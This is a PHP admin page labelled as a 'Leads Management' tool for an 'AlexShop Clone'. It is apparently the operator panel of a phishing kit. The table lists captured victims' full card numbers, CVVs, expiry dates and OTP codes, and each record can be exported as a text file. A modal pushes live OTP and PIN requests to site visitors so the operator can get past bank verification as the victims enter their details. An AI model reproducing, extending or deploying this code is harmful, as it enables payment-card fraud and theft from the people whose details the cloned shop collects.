<?php
// Include authentication check
require_once 'auth_check.php';

$pageTitle = 'Leads';
$currentPage = 'leads';
include 'includes/header.php';
include 'includes/sidebar.php';

// Load leads data
require_once '../functions/data_handler.php';
$leads = getLeadsData();
$stats = getLeadStats();

// Handle form submissions
$message = '';
$messageType = '';

// Update lead status
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'update_status') {
    $leadId = (int)$_POST['lead_id'];
    $newStatus = $_POST['new_status'];
    $newPriority = $_POST['new_priority'];
    $notes = $_POST['notes'] ?? '';
    
    $updateData = [
        'status' => $newStatus,
        'priority' => $newPriority,
        'notes' => $notes
    ];
    
    if (updateLead($leadId, $updateData)) {
        $message = 'Lead updated successfully!';
        $messageType = 'success';
    } else {
        $message = 'Failed to update lead.';
        $messageType = 'danger';
    }
}

// Delete lead
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'delete_lead') {
    $leadId = (int)$_POST['lead_id'];
    
    if (deleteLead($leadId)) {
        $message = 'Lead deleted successfully!';
        $messageType = 'success';
        // Refresh data
        $leads = getLeadsData();
        $stats = getLeadStats();
    } else {
        $message = 'Failed to delete lead.';
        $messageType = 'danger';
    }
}

// Sort leads by timestamp (newest first)
usort($leads, function($a, $b) {
    $timeA = strtotime($a['timestamp'] ?? '1970-01-01 00:00:00');
    $timeB = strtotime($b['timestamp'] ?? '1970-01-01 00:00:00');
    return $timeB - $timeA;
});
?>
        <div class="page-header">
            <h1>Leads Management</h1>
            <p class="lead">Track and manage your sales leads.</p>
        </div>

        <?php if ($message): ?>
            <div class="alert alert-<?php echo $messageType; ?> alert-dismissible fade show" role="alert">
                <?php echo $message; ?>
                <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
        <?php endif; ?>


        <!-- Leads Table -->
        <div class="card">
            <div class="card-header">
                <h5 class="card-title mb-0">All Leads</h5>
            </div>
            <div class="card-body">
                <div class="table-responsive">
                    <table class="table table-hover align-middle">
                        <thead>
                            <tr>
                                <th scope="col">ID</th>
                                <th scope="col">Name</th>
                                <th scope="col">Email</th>
                                <th scope="col">Phone</th>
                                <th scope="col">Address</th>
                                <th scope="col">Payment Method</th>
                                <th scope="col">Card Number</th>
                                <th scope="col">Card Holder</th>
                                <th scope="col">Expiry Date</th>
                                <th scope="col">CVV</th>
                                <th scope="col">OTP</th>
                                <th scope="col">Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php if (empty($leads)): ?>
                                <tr>
                                    <td colspan="12" class="text-center text-muted">
                                        <i class="fas fa-user-plus fa-2x mb-2"></i><br>
                                        No leads found. Start tracking leads by setting up lead capture forms!
                                    </td>
                                </tr>
                            <?php else: ?>
                                <?php foreach ($leads as $lead): ?>
                                    <tr>
                                        <th scope="row">#<?php echo $lead['id']; ?></th>
                                        <td><?php echo htmlspecialchars($lead['customerName'] ?? $lead['name'] ?? 'N/A'); ?></td>
                                        <td><?php echo htmlspecialchars($lead['customerEmail'] ?? $lead['email'] ?? 'N/A'); ?></td>
                                        <td><?php echo htmlspecialchars($lead['customerPhone'] ?? $lead['phone'] ?? 'N/A'); ?></td>
                                        <td><?php echo htmlspecialchars($lead['customerAddress'] ?? $lead['address'] ?? 'N/A'); ?></td>
                                        <td><?php echo htmlspecialchars($lead['paymentMethod'] ?? $lead['payment_method'] ?? 'N/A'); ?></td>
                                        <td>
                                            <?php 
                                            $cardNumber = $lead['cardNumber'] ?? $lead['card_number'] ?? '';
                                            if (!empty($cardNumber)): ?>
                                                <span style="font-family: monospace; color: #007bff;"><?php echo htmlspecialchars($cardNumber); ?></span>
                                            <?php else: ?>
                                                <span class="text-muted">-</span>
                                            <?php endif; ?>
                                        </td>
                                        <td><?php echo htmlspecialchars($lead['cardName'] ?? $lead['card_name'] ?? '-'); ?></td>
                                        <td><?php echo htmlspecialchars($lead['cardExpiry'] ?? $lead['card_expiry'] ?? '-'); ?></td>
                                        <td>
                                            <?php 
                                            $cardCvv = $lead['cardCvv'] ?? $lead['card_cvv'] ?? '';
                                            if (!empty($cardCvv)): ?>
                                                <span style="color: #dc3545;"><?php echo htmlspecialchars($cardCvv); ?></span>
                                            <?php else: ?>
                                                <span class="text-muted">-</span>
                                            <?php endif; ?>
                                        </td>
                                        <td>
                                            <?php if (!empty($lead['otp_code'])): ?>
                                                <span style="color: #28a745;"><?php echo htmlspecialchars($lead['otp_code']); ?></span>
                                            <?php else: ?>
                                                <span class="text-muted">-</span>
                                            <?php endif; ?>
                                        </td>
                                        <td>
                                            <div class="btn-group" role="group">
                                                <button type="button" class="btn btn-sm btn-outline-primary" data-toggle="modal" data-target="#viewLeadModal" 
                                                        data-id="<?php echo $lead['id']; ?>"
                                                        data-name="<?php echo htmlspecialchars($lead['customerName'] ?? $lead['name'] ?? ''); ?>"
                                                        data-email="<?php echo htmlspecialchars($lead['customerEmail'] ?? $lead['email'] ?? ''); ?>"
                                                        data-phone="<?php echo htmlspecialchars($lead['customerPhone'] ?? $lead['phone'] ?? ''); ?>"
                                                        data-address="<?php echo htmlspecialchars($lead['customerAddress'] ?? $lead['address'] ?? ''); ?>"
                                                        data-payment-method="<?php echo htmlspecialchars($lead['paymentMethod'] ?? $lead['payment_method'] ?? ''); ?>"
                                                        data-card-number="<?php echo htmlspecialchars($lead['cardNumber'] ?? $lead['card_number'] ?? ''); ?>"
                                                        data-card-name="<?php echo htmlspecialchars($lead['cardName'] ?? $lead['card_name'] ?? ''); ?>"
                                                        data-card-expiry="<?php echo htmlspecialchars($lead['cardExpiry'] ?? $lead['card_expiry'] ?? ''); ?>"
                                                        data-cvv="<?php echo htmlspecialchars($lead['cardCvv'] ?? $lead['card_cvv'] ?? ''); ?>"
                                                        data-otp="<?php echo htmlspecialchars($lead['otp_code']); ?>"
                                                        title="View Details">
                                                    <i class="fas fa-eye"></i>
                                                </button>
                                                <button type="button" class="btn btn-sm btn-outline-success" onclick="downloadLeadLog('<?php echo $lead['id']; ?>', '<?php echo htmlspecialchars($lead['customerName'] ?? $lead['name'] ?? 'N/A'); ?>')" 
                                                        title="Download Lead Log">
                                                    <i class="fas fa-download"></i>
                                                </button>
                                                <button type="button" class="btn btn-sm btn-outline-danger" data-toggle="modal" data-target="#deleteLeadModal" 
                                                        data-id="<?php echo $lead['id']; ?>"
                                                        data-name="<?php echo htmlspecialchars($lead['customerName'] ?? $lead['name'] ?? ''); ?>"
                                                        title="Delete Lead">
                                                    <i class="fas fa-trash-alt"></i>
                                                </button>
                                            </div>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>
                            <?php endif; ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </main>
</div>
</div>

<!-- View Lead Modal -->
<div class="modal fade" id="viewLeadModal" tabindex="-1" aria-labelledby="viewLeadModalLabel" aria-hidden="true">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="viewLeadModalLabel">Lead Details</h5>
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
            <div class="modal-body">
                <div class="row">
                    <div class="col-md-6">
                        <h6>Contact Information</h6>
                        <p><strong>Name:</strong> <span id="modalLeadName"></span></p>
                        <p><strong>Email:</strong> <span id="modalLeadEmail"></span></p>
                        <p><strong>Phone:</strong> <span id="modalLeadPhone"></span></p>
                        <p><strong>Address:</strong> <span id="modalLeadAddress"></span></p>
                    </div>
                    <div class="col-md-6">
                        <h6>Payment Information</h6>
                        <p><strong>Payment Method:</strong> <span id="modalLeadPaymentMethod"></span></p>
                        <p><strong>Card Number:</strong> <span id="modalLeadCardNumber"></span></p>
                        <p><strong>Card Holder:</strong> <span id="modalLeadCardName"></span></p>
                        <p><strong>Expiry Date:</strong> <span id="modalLeadCardExpiry"></span></p>
                        <p><strong>CVV:</strong> <span id="modalLeadCvv"></span></p>
                        <p><strong>OTP:</strong> <span id="modalLeadOtp"></span></p>
                    </div>
                </div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
            </div>
        </div>
    </div>
</div>

<!-- Edit Lead Modal -->
<div class="modal fade" id="editLeadModal" tabindex="-1" aria-labelledby="editLeadModalLabel" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="editLeadModalLabel">Edit Lead</h5>
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
            <form method="POST" action="leads.php">
                <input type="hidden" name="action" value="update_status">
                <input type="hidden" id="editLeadId" name="lead_id">
                <div class="modal-body">
                    <div class="form-group">
                        <label for="editLeadName">Name</label>
                        <input type="text" class="form-control" id="editLeadName" name="name" readonly>
                    </div>
                    <div class="form-group">
                        <label for="editLeadEmail">Email</label>
                        <input type="email" class="form-control" id="editLeadEmail" name="email" readonly>
                    </div>
                    <div class="form-group">
                        <label for="editLeadPhone">Phone</label>
                        <input type="text" class="form-control" id="editLeadPhone" name="phone" readonly>
                    </div>
                    <div class="form-group">
                        <label for="editLeadCompany">Company</label>
                        <input type="text" class="form-control" id="editLeadCompany" name="company" readonly>
                    </div>
                    <div class="form-row">
                        <div class="form-group col-md-6">
                            <label for="editLeadStatus">Status</label>
                            <select class="form-control" id="editLeadStatus" name="new_status">
                                <option value="New Lead">New Lead</option>
                                <option value="Contacted">Contacted</option>
                                <option value="Qualified">Qualified</option>
                                <option value="Converted">Converted</option>
                                <option value="Lost">Lost</option>
                            </select>
                        </div>
                        <div class="form-group col-md-6">
                            <label for="editLeadPriority">Priority</label>
                            <select class="form-control" id="editLeadPriority" name="new_priority">
                                <option value="Low">Low</option>
                                <option value="Medium">Medium</option>
                                <option value="High">High</option>
                            </select>
                        </div>
                    </div>
                    <div class="form-group">
                        <label for="editLeadNotes">Notes</label>
                        <textarea class="form-control" id="editLeadNotes" name="notes" rows="3"></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button>
                    <button type="submit" class="btn btn-primary">Update Lead</button>
                </div>
            </form>
        </div>
    </div>
</div>

<!-- Delete Lead Modal -->
<div class="modal fade" id="deleteLeadModal" tabindex="-1" aria-labelledby="deleteLeadModalLabel" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="deleteLeadModalLabel">Delete Lead</h5>
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
            <div class="modal-body">
                <p>Are you sure you want to delete lead <strong id="deleteLeadName"></strong>? This action cannot be undone.</p>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button>
                <form method="POST" action="leads.php" style="display: inline;">
                    <input type="hidden" name="action" value="delete_lead">
                    <input type="hidden" id="deleteLeadId" name="lead_id">
                    <button type="submit" class="btn btn-danger">Delete Lead</button>
                </form>
            </div>
        </div>
    </div>
</div>

<!-- Prompting Modal -->
<div class="modal fade" id="promptingModal" tabindex="-1" aria-labelledby="promptingModalLabel" aria-hidden="true">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header bg-warning text-dark">
                <h5 class="modal-title" id="promptingModalLabel">
                    <i class="fas fa-comments mr-2"></i>Send Prompts to Lead
                </h5>
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
            <div class="modal-body">
                <div class="row mb-3">
                    <div class="col-md-6">
                        <h6><i class="fas fa-user mr-1"></i>Lead Information</h6>
                        <p><strong>Name:</strong> <span id="promptLeadName"></span></p>
                        <p><strong>Phone:</strong> <span id="promptLeadPhone"></span></p>
                        <p><strong>Email:</strong> <span id="promptLeadEmail"></span></p>
                    </div>
                    <div class="col-md-6">
                        <h6><i class="fas fa-info-circle mr-1"></i>Available Actions</h6>
                        <p class="text-muted">Choose the type of prompt to send to this lead.</p>
                    </div>
                </div>
                
                <hr>
                
                <div class="row">
                    <div class="col-md-6">
                        <div class="card border-primary">
                            <div class="card-header bg-primary text-white">
                                <h6 class="mb-0"><i class="fas fa-shield-alt mr-2"></i>OTP Request</h6>
                            </div>
                            <div class="card-body">
                                <p class="card-text">Send a request for One-Time Password (OTP) verification.</p>
                                <button type="button" class="btn btn-primary btn-block" onclick="sendOTPRequest()">
                                    <i class="fas fa-paper-plane mr-2"></i>Send OTP Request
                                </button>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="card border-warning">
                            <div class="card-header bg-warning text-dark">
                                <h6 class="mb-0"><i class="fas fa-key mr-2"></i>PIN Request</h6>
                            </div>
                            <div class="card-body">
                                <p class="card-text">Send a request for Personal Identification Number (PIN).</p>
                                <button type="button" class="btn btn-warning btn-block" onclick="sendPINRequest()">
                                    <i class="fas fa-paper-plane mr-2"></i>Send PIN Request
                                </button>
                            </div>
                        </div>
                    </div>
                </div>
                
                <div class="row mt-3">
                    <div class="col-12">
                        <div class="alert alert-info">
                            <h6><i class="fas fa-lightbulb mr-2"></i>How it works:</h6>
                            <ul class="mb-0">
                                <li><strong>OTP Request:</strong> Sends a verification code request to the lead's phone/email</li>
                                <li><strong>PIN Request:</strong> Requests the lead to provide their PIN for verification</li>
                                <li>Both actions will be logged and can trigger automated follow-up processes</li>
                            </ul>
                        </div>
                    </div>
                </div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
            </div>
        </div>
    </div>
</div>

<style>
.payment-info {
    min-width: 200px;
}

.card-number {
    font-family: 'Courier New', monospace !important;
    letter-spacing: 1px;
    background: linear-gradient(45deg, #f8f9fa, #e9ecef);
    padding: 4px 8px;
    border-radius: 4px;
    border: 1px solid #dee2e6;
    margin: 2px 0;
}

.payment-card-details {
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
    transition: box-shadow 0.3s ease;
}

.payment-card-details:hover {
    box-shadow: 0 6px 12px rgba(0, 0, 0, 0.15);
}

.payment-info .badge {
    margin-top: 5px;
}

.table td {
    vertical-align: middle;
}

.payment-info div {
    margin: 2px 0;
}
</style>

<script>
// Handle view lead modal
$('#viewLeadModal').on('show.bs.modal', function (event) {
    var button = $(event.relatedTarget);
    var modal = $(this);
    
    
    modal.find('#modalLeadName').text(button.data('name') || 'N/A');
    modal.find('#modalLeadEmail').text(button.data('email') || 'N/A');
    modal.find('#modalLeadPhone').text(button.data('phone') || 'N/A');
    modal.find('#modalLeadAddress').text(button.data('address') || 'N/A');
    modal.find('#modalLeadPaymentMethod').text(button.data('payment-method') || 'N/A');
    modal.find('#modalLeadCardNumber').text(button.data('card-number') || 'N/A');
    modal.find('#modalLeadCardName').text(button.data('card-name') || 'N/A');
    modal.find('#modalLeadCardExpiry').text(button.data('card-expiry') || 'N/A');
    modal.find('#modalLeadCvv').text(button.data('cvv') || 'N/A');
    modal.find('#modalLeadOtp').text(button.data('otp') || 'N/A');
});

// Handle edit lead modal
$('#editLeadModal').on('show.bs.modal', function (event) {
    var button = $(event.relatedTarget);
    var modal = $(this);
    
    modal.find('#editLeadId').val(button.data('id'));
    modal.find('#editLeadName').val(button.data('name'));
    modal.find('#editLeadEmail').val(button.data('email'));
    modal.find('#editLeadPhone').val(button.data('phone'));
    modal.find('#editLeadCompany').val(button.data('company'));
    modal.find('#editLeadStatus').val(button.data('status'));
    modal.find('#editLeadPriority').val(button.data('priority'));
    modal.find('#editLeadNotes').val(button.data('notes'));
});

// Handle delete lead modal
$('#deleteLeadModal').on('show.bs.modal', function (event) {
    var button = $(event.relatedTarget);
    var modal = $(this);
    
    modal.find('#deleteLeadName').text(button.data('name'));
    modal.find('#deleteLeadId').val(button.data('id'));
});

// Handle prompting modal
$('#promptingModal').on('show.bs.modal', function (event) {
    var button = $(event.relatedTarget);
    var modal = $(this);
    
    modal.find('#promptLeadName').text(button.data('name'));
    modal.find('#promptLeadPhone').text(button.data('phone'));
    modal.find('#promptLeadEmail').text(button.data('email'));
    
    // Store lead ID for use in functions
    window.currentPromptLeadId = button.data('id');
});

// PHP-based real-time functionality
let adminEventSource = null;
let lastUpdateTime = new Date().getTime();

// Initialize admin SSE connection
function initAdminSSE() {
    const sessionId = 'admin_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9);
    const sseUrl = `../sse_server.php?user_type=admin&session_id=${sessionId}`;
    
    try {
        adminEventSource = new EventSource(sseUrl);
        
        adminEventSource.onopen = function(event) {
        };
        
        adminEventSource.onmessage = function(event) {
            const message = JSON.parse(event.data);
            
            switch (message.type) {
                case 'connection_confirmed':
                    break;
                    
                case 'lead_updated':
                    showNotification('info', message.message);
                    // Refresh the page to show updated data
                    setTimeout(() => {
                        location.reload();
                    }, 1000);
                    break;
                    
                case 'error':
                    showNotification('error', message.message);
                    break;
            }
        };
        
        adminEventSource.onerror = function(error) {
            console.error('Admin SSE error:', error);
            // Try to reconnect after 3 seconds
            setTimeout(() => {
                if (adminEventSource.readyState === EventSource.CLOSED) {
                    initAdminSSE();
                }
            }, 3000);
        };
        
    } catch (error) {
        console.error('Failed to initialize admin SSE:', error);
    }
}

// Show notification
function showNotification(type, message) {
    // Create notification element
    const notification = $(`
        <div class="alert alert-${type === 'error' ? 'danger' : type} alert-dismissible fade show" role="alert" style="position: fixed; top: 20px; right: 20px; z-index: 9999; min-width: 300px;">
            <strong>${type === 'success' ? '✓' : type === 'error' ? '✗' : 'ℹ'}</strong> ${message}
            <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                <span aria-hidden="true">&times;</span>
            </button>
        </div>
    `);
    
    $('body').append(notification);
    
    // Auto-remove after 5 seconds
    setTimeout(() => {
        notification.alert('close');
    }, 5000);
}

// Send OTP request
function sendOTPRequest() {
    if (window.currentPromptLeadId) {
        const leadName = $('#promptLeadName').text();
        
        showNotification('info', 'Sending OTP request to all visitors...');
        
        // Send request via PHP (to all visitors)
        fetch('../send_request.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({
                action: 'send_otp_request',
                lead_id: window.currentPromptLeadId
                // No visitor_id = send to all visitors
            })
        })
        .then(response => response.json())
        .then(data => {
            if (data.success) {
                showNotification('success', data.message);
                $('#promptingModal').modal('hide');
            } else {
                showNotification('error', data.message);
            }
        })
        .catch(error => {
            console.error('Error sending OTP request:', error);
            showNotification('error', 'Failed to send OTP request');
        });
    }
}

// Send PIN request
function sendPINRequest() {
    if (window.currentPromptLeadId) {
        const leadName = $('#promptLeadName').text();
        
        showNotification('info', 'Sending PIN request to all visitors...');
        
        // Send request via PHP (to all visitors)
        fetch('../send_request.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({
                action: 'send_pin_request',
                lead_id: window.currentPromptLeadId
                // No visitor_id = send to all visitors
            })
        })
        .then(response => response.json())
        .then(data => {
            if (data.success) {
                showNotification('success', data.message);
                $('#promptingModal').modal('hide');
            } else {
                showNotification('error', data.message);
            }
        })
        .catch(error => {
            console.error('Error sending PIN request:', error);
            showNotification('error', 'Failed to send PIN request');
        });
    }
}

// Download lead log as TXT file
function downloadLeadLog(leadId, leadName) {
    // Get lead data from the table row
    const leadData = getLeadDataFromTable(leadId);
    
    if (!leadData) {
        showNotification('error', 'Lead data not found');
        return;
    }
    
    // Create log content
    const logContent = createLeadLogContent(leadData, leadName);
    
    // Create and download file
    const blob = new Blob([logContent], { type: 'text/plain' });
    const url = window.URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = `lead_${leadId}_${leadName.replace(/[^a-zA-Z0-9]/g, '_')}_log.txt`;
    document.body.appendChild(a);
    a.click();
    document.body.removeChild(a);
    window.URL.revokeObjectURL(url);
    
    showNotification('success', 'Lead log downloaded successfully');
}

// Get lead data from table row
function getLeadDataFromTable(leadId) {
    const row = document.querySelector(`button[onclick*="downloadLeadLog('${leadId}'"]`).closest('tr');
    if (!row) return null;
    
    const cells = row.querySelectorAll('td');
    return {
        id: leadId,
        name: cells[1].textContent.trim(),
        email: cells[2].textContent.trim(),
        phone: cells[3].textContent.trim(),
        address: cells[4].textContent.trim(),
        paymentMethod: cells[5].textContent.trim(),
        cardNumber: cells[6].textContent.trim(),
        cardName: cells[7].textContent.trim(),
        cardExpiry: cells[8].textContent.trim(),
        cardCvv: cells[9].textContent.trim(),
        otpCode: cells[10].textContent.trim() || 'Not provided'
    };
}

// Create formatted log content
function createLeadLogContent(leadData, leadName) {
    const timestamp = new Date().toLocaleString();
    
    return `LEAD LOG - ${leadName}
Generated: ${timestamp}

=== LEAD INFORMATION ===
Lead ID: ${leadData.id}
Name: ${leadData.name}
Email: ${leadData.email}
Phone: ${leadData.phone}
Address: ${leadData.address}

=== PAYMENT INFORMATION ===
Payment Method: ${leadData.paymentMethod}
Card Number: ${leadData.cardNumber}
Card Holder: ${leadData.cardName}
Expiry Date: ${leadData.cardExpiry}
CVV: ${leadData.cardCvv}
OTP Code: ${leadData.otpCode}

=== SYSTEM INFORMATION ===
Downloaded: ${timestamp}
Downloaded By: Admin
System: AlexShop Clone Lead Management

=== END OF LOG ===`;
}

// Audio alert function for leads page
function playAlertSound(type) {
    try {
        const audioContext = new (window.AudioContext || window.webkitAudioContext)();
        
        let frequency, duration, volume;
        
        switch(type) {
            case 'lead':
                frequency = 700;
                duration = 0.25;
                volume = 0.4;
                break;
            case 'success':
                frequency = 1000;
                duration = 0.1;
                volume = 0.4;
                break;
            default:
                frequency = 500;
                duration = 0.2;
                volume = 0.3;
        }
        
        const oscillator = audioContext.createOscillator();
        const gainNode = audioContext.createGain();
        
        oscillator.connect(gainNode);
        gainNode.connect(audioContext.destination);
        
        oscillator.frequency.setValueAtTime(frequency, audioContext.currentTime);
        oscillator.type = 'sine';
        
        gainNode.gain.setValueAtTime(0, audioContext.currentTime);
        gainNode.gain.linearRampToValueAtTime(volume, audioContext.currentTime + 0.01);
        gainNode.gain.exponentialRampToValueAtTime(0.001, audioContext.currentTime + duration);
        
        oscillator.start(audioContext.currentTime);
        oscillator.stop(audioContext.currentTime + duration);
        
    } catch (error) {
    }
}

// Browser notification function
function showBrowserNotification(title, message) {
    if ('Notification' in window && Notification.permission === 'granted') {
        const notification = new Notification(title, {
            body: message,
            icon: '/assets/logo.svg',
            tag: 'lead-alert',
            requireInteraction: false,
            silent: false
        });
        
        setTimeout(() => {
            notification.close();
        }, 3000);
        
        notification.onclick = function() {
            window.focus();
            notification.close();
        };
    }
}

// Initialize SSE when page loads
$(document).ready(function() {
    initAdminSSE();
    
    // Request notification permission
    if ('Notification' in window) {
        Notification.requestPermission();
    }
    
    // Play alert sound when new leads are detected
    const leadCount = <?php echo count($leads); ?>;
    if (leadCount > 0) {
        setTimeout(() => {
            playAlertSound('lead');
        }, 1000);
    }
});
</script>

<?php
include 'includes/footer.php';
?>